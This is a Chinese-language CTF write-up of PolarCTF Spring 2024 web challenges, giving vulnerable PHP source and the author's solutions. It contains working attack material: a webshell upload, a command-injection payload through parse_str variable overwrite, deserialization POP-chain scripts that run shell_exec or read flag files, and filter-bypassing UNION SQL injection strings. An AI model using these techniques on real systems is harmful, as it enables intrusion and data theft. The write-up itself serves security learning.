PolarCTF春季个人挑战赛 2024 WEB
uploader
题目直接给了源码,下面是经过本人注释后的代码
<?php
$sandBox = md5($_SERVER['REMOTE_ADDR']);
/*根据用户ip地址生成一个md5加密的字段作为沙盒目录*/
if(!is_dir($sandBox)){
mkdir($sandBox,0755,true);
}
/*检查是否已经有通过用户ip生成的目录,如果不存在,则创建新目录*/
if($_FILES){
move_uploaded_file($_FILES['file']['tmp_name'],$sandBox."/".$_FILES["file"]["name"]);
/*将上传的文件从临时目录转移到沙盒目录中*/
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
/*输出上传文件的信息*/
echo $sandBox;
/*输出沙盒目录*/
}
highlight_file(__FILE__);
由于该题没有给出文件上传方式,需要自己在本地写一个上传表单,由于本人还不会html的编写,故这里借用 Jay 17师傅的html
<form action="http://b6ef4ae9-40b5-4da2-b280-e81d88b0495e.www.polarctf.com:8090/" enctype="multipart/form-data" method="post" >
<input name="file" type="file" />
<input type="submit" type="gogogo!" />
</form>
写好后上传一句话木马,随后根据给出的沙盒目录前往该文件,用蚁剑连接后找flag即可
覆盖
进题代码如下
<?php
error_reporting(0);
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include 'flag.php';
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0];
if ($a[0] == 'www.polarctf.com') {
$ip = $_GET['cmd'];
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}
看到parse_str函数,可知该题是变量覆盖,通过id使a[0] == ‘www.polarctf.com’,然后用cmd传入指令,最终的payload如下
?id=a[0]=www.polarctf.com&cmd=;tac f*
PHP反序列化初试
进题代码如下
<?php
class Easy{
public $name;
public function __wakeup()
{
echo $this->name;
}
}
class Evil{
public $evil;
private $env;
public function __toString()
{
$this->env=shell_exec($this->evil);
return $this->env;
}
}
if(isset($_GET['easy'])){
unserialize($_GET['easy']);
}else{
highlight_file(__FILE__);
}
简单的反序列化题,大致思路就是为了执行__toString()里面的shell_exec,我们执行需要Easy类中echo语句,依次触发__toString()魔术方法,具体脚本如下
<?php
class Easy{
public $name;
public function __wakeup()
{
echo $this->name;
}
}
class Evil{
public $evil = "cat /f*";
private $env;
public function __toString()
{
$this->env=shell_exec($this->evil);
return $this->env;
}
}
$a = new Easy();
$a -> name = new Evil();
echo serialize($a);
需要注意的一点是由于该题中的env为private属性,查看flag的时候需要到源码中查看,如果想要直接回显到页面上的话需要将序列化串进行unlencode编码后再上传
机器人
看到这题目直接查看robots.txt,得到了前半部分flag,同时得到了一个disallow的路径,用dirsearch扫一下找到了flag.php,前往查看得到后半段flag
search
进题后是一个登录框,猜测是sql注入,经过测试后发现对空格和一些字段存在过滤,空格用/**/绕过,其他的用大小写绕过,
1'order/**/by/**/6# /*出现报错,说明共有5列*/
1'/**/uNion/**/sEleCt/**/1,2,3,4,5# /*联合注入判断回显的位置*/
1'/**/uNion/**/sEleCt/**/1,database(),version(),4,5# /*获取库名和版本号,库名为CTF,版本号为5.5.44-0ubuntu0.14.04.1-log*/
1'/**/uNion/**/sEleCt/**/1,group_concat(table_name),3,4,5/**/From/**/information_schema.tables/**/Where/**/table_schema='CTF'# /*获取表名分别为Flag和Students*/
1'/**/uNion/**/sEleCt/**/1,group_concat(column_name),3,4,5/**/From/**/information_schema.columns/**/Where/**/table_schema='CTF'/**/and/**/table_name='Flag'# /*获取字段名为Flag*/
1'/**/uNion/**/sEleCt/**/1,group_concat(Flag),3,4,5/**/From/**/Flag# /*读取字段内容*/
file
题目说可以dirsearch一下,那么就扫一下试试,扫到了一个upload.php和uploaded/,upload.php是具体的上传页面,uploaded应该是文件上传路径。先直接上传php文件的一句话木马试试,在uploaded里发现没有上传成功,用bp抓包改一下文件类型试试,成功传入,然后蚁剑连接获取flag
PlayGame
进题代码如下
<?php
/*
PolarD&N CTF
*/
class User{
public $name;
public $age;
public $sex;
public function __toString()
{
return "name:".$this->name."age:".$this->age."sex:".$this->sex;
}
public function setName($name){
$this->name=$name;
}
public function setAge($age){
$this->$age=$age;
}
public function setSex($sex){
$this->$sex=$sex;
}
}
class PlayGame{
public $user;
public $gameFile="./game";
public function openGame(){
return file_get_contents($this->gameFile);
}
public function __destruct()
{
echo $this->user->name."GameOver!";
}
public function __toString(){
return $this->user->name."PlayGame ". $this->user->age . $this->openGame();
}
}
if(isset($_GET['polar_flag.flag'])){
unserialize($_GET['polar_flag.flag']);
}else{
highlight_file(__FILE__);
}
又是反序列化题目,大致思路就是通过.拼接字符串和echo输出字符串触发__destruct()魔术方法,最后使得file_get_contents()触发返回flag,poc如下
<?php
/*
PolarD&N CTF
*/
class User{
public $name;
public $age;
public $sex;
public function __toString()
{
return "name:".$this->name."age:".$this->age."sex:".$this->sex;
}
public function setName($name){
$this->name=$name;
}
public function setAge($age){
$this->$age=$age;
}
public function setSex($sex){
$this->$sex=$sex;
}
}
class PlayGame{
public $user;
public $gameFile="./game";
public function openGame(){
return 1;
//file_get_contents($this->gameFile);
}
public function __destruct()
{
echo $this->user->name."GameOver!";
}
public function __toString(){
return $this->user->name."PlayGame ". $this->user->age . $this->openGame();
}
}
$a = new PlayGame();
$a -> user = new User();
$a -> user -> name = new User();
$a -> user -> name -> name = new PlayGame();
$a -> user -> name -> name -> gameFile = '/flag';
echo serialize($a);
另外一个需要注意的点是该处的参数含有下划线,直接通过polar_flag.flag无法传入,需要将下划线改成中括号(左),用polar[flag.flag传递才行。
csdn
进题后在源码中看到如下内容
<!-- 偷偷告诉你,flag在flag目录下的flag.txt中 -->
然后又发现url处有xxs传参,直接用file协议进行文件读取,payload如下
file://flag/flag.txt
phar
进题源码如下
<?php
include 'funs.php';
highlight_file(__FILE__);
if (isset($_GET['file'])) {
if (myWaf($_GET['file'])) {
include($_GET['file']);
} else {
unserialize($_GET['data']);
}
}
使用php伪协议读取funs.php,将得到的base64字段解密得到如下代码
<?php
include 'f1@g.php';
function myWaf($data)
{
if (preg_match("/f1@g/i", $data)) {
echo "NONONONON0!";
return FALSE;
} else {
return TRUE;
}
}
class A
{
private $a;
public function __destruct()
{
echo "A->" . $this->a . "destruct!";
}
}
class B
{
private $b = array();
public function __toString()
{
$str_array= $this->b;
$str2 = $str_array['kfc']->vm50;
return "Crazy Thursday".$str2;
}
}
class C{
private $c = array();
public function __get($kfc){
global $flag;
$f = $this->c[$kfc];
var_dump($$f);
}
}
反序列化题目,最终要触发C类中__getf方法中的var_dump($$f);方法,形成变量覆盖,具体的poc如下
<?php
class A
{
private $a;
public function __construct()
{
$this->a = new B();
}
public function __destruct()
{
echo "A->" . $this->a . "destruct!";
}
}
class B
{
private $b = array();
public function __construct()
{
$this->b = array("kfc" => new C());
}
public function __toString()
{
$str_array= $this->b;
$str2 = $str_array['kfc']->vm50;
return "Crazy Thursday".$str2;
}
}
class C{
private $c = array();
public function __construct()
{
$this->c = array('vm50'=>"flag");
}
public function __get($kfc){
global $flag;
$f = $this->c[$kfc];
var_dump($$f);
}
}
$a = new A();
echo urlencode(serialize($a));
由于改代码中存在具有private属性的对象,在反序列化时会出现无法复制的特殊字符,为了能正常传入,需要将其进行url编码或者将poc中的private全部改成public
PHP_Deserialization
进题得到的代码如下
<?php
/*
PolarD&N CTF
*/
class Polar
{
public $night;
public $night_arg;
public function __wakeup()
{
echo "hacker";
$this->night->hacker($this->night_arg);
}
}
class Night
{
public function __call($name, $arguments)
{
echo "wrong call:" . $name . " arg:" . $arguments[0];
}
}
class Day
{
public $filename="/flag";
public function __toString()
{
$this->filename = str_replace("flag", "", $this->filename);
echo file_get_contents($this->filename);
return $this->filename;
}
}
if (isset($_POST['polar'])) {
unserialize(base64_decode($_POST['polar']));
} else {
highlight_file(__FILE__);
}
又是反序列化的题目,入口应该是Polar类中的__wakeup()魔术方法,反序列化过程中如果没有改变O的个数该方法会被优先调用,同时该方法中调用了一个不存在的方法hacker(),由此就会触发Night类中的__call类魔术方法,同时该方法中的echo语句又可实现将类当成字符串调用,以此触发__toString()魔术方法,由于该方法中将flag替换成了空,我们可以尝试使用双写绕过,具体POC如下
<?php
/*
PolarD&N CTF
*/
class Polar
{
public $night;
public $night_arg;
public function __wakeup()
{
echo "hacker";
$this->night->hacker($this->night_arg);
}
}
class Night
{
public function __call($name, $arguments)
{
echo "wrong call:" . $name . " arg:" . $arguments[0];
}
}
class Day
{
public $filename="/flflagag";
public function __toString()
{
$this->filename = str_replace("flag", "", $this->filename);
echo file_get_contents($this->filename);
return $this->filename;
}
}
$a = new Polar();
$a->night = new Night();
$a->night_arg = new Day();
echo base64_encode(serialize($a));
用post方法传入后在源码中即可得到flag
PolarOA(unsolved)
进题后是一个登录界面,尝试了一些sql注入,发现行不通,本想用bp抓包尝试一下弱口令的,但是在打包的时候看到了 rememberMe=deleteMe字段,可知是shiro的漏洞,于是用shiro工具开始爆破,先是爆破密钥,然后再爆破利用链,发现无法爆出利用链
挣扎了一番之后还是没思路,不会了,先留一下,日后再补上
Fastjson(unsolved)
好好好,又是折腾半天没弄出来的,摆了,日后再补上